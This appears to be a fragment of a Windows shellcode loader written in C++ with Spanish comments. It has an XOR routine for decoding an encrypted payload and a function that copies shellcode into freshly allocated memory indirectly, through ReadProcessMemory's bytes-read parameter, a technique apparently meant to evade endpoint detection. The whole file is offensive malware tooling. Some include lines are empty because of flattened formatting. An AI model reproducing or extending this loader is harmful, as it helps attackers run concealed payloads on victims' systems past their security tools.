#include "handlers.h" #include "Windows.h" #include #include using namespace std; void XOR(char* payload, char* key, int payload_len, int key_len) { for (int i = 0; i < payload_len; i++) { payload[i] = payload[i] ^ key[i % key_len]; } return; } void* CopyReadProcessMemory(char* shellcode, SIZE_T size) { void* pDummyBuffer = nullptr; void* pNewBuffer = nullptr; // Reservamos un buffer "dummy" pDummyBuffer = malloc(UCHAR_MAX); if (!pDummyBuffer) throw std::runtime_error("GetMem failed"); try { // Reservar memoria en el proceso actual con VirtualAlloc pNewBuffer = VirtualAlloc(nullptr, size, MEM_COMMIT, PAGE_READWRITE); std::wcout << L"Pointer at : " << pNewBuffer << "\n"; if (!pNewBuffer) throw std::runtime_error("VirtualAlloc failed, le:" + std::to_string(GetLastError())); // Copiar el buffer usando una API no relacionada (ReadProcessMemory) SIZE_T* pDestOffset = nullptr; for (SIZE_T I = 0; I < size; ++I) { pDestOffset = (SIZE_T*)((BYTE*)pNewBuffer + I); ReadProcessMemory( GetCurrentProcess(), pDummyBuffer, pDummyBuffer, *((BYTE*)shellcode + I), (SIZE_T*)pDestOffset ); } // Mostrar el resultado std::wcout << L"Indirectly Copied String (ReadProcessMemory)\n"; } catch (...) { if (pDummyBuffer) free(pDummyBuffer); throw; } if (pDummyBuffer) free(pDummyBuffer); //if (pNewBuffer) VirtualFree(pNewBuffer, 0, MEM_RELEASE); return pNewBuffer; }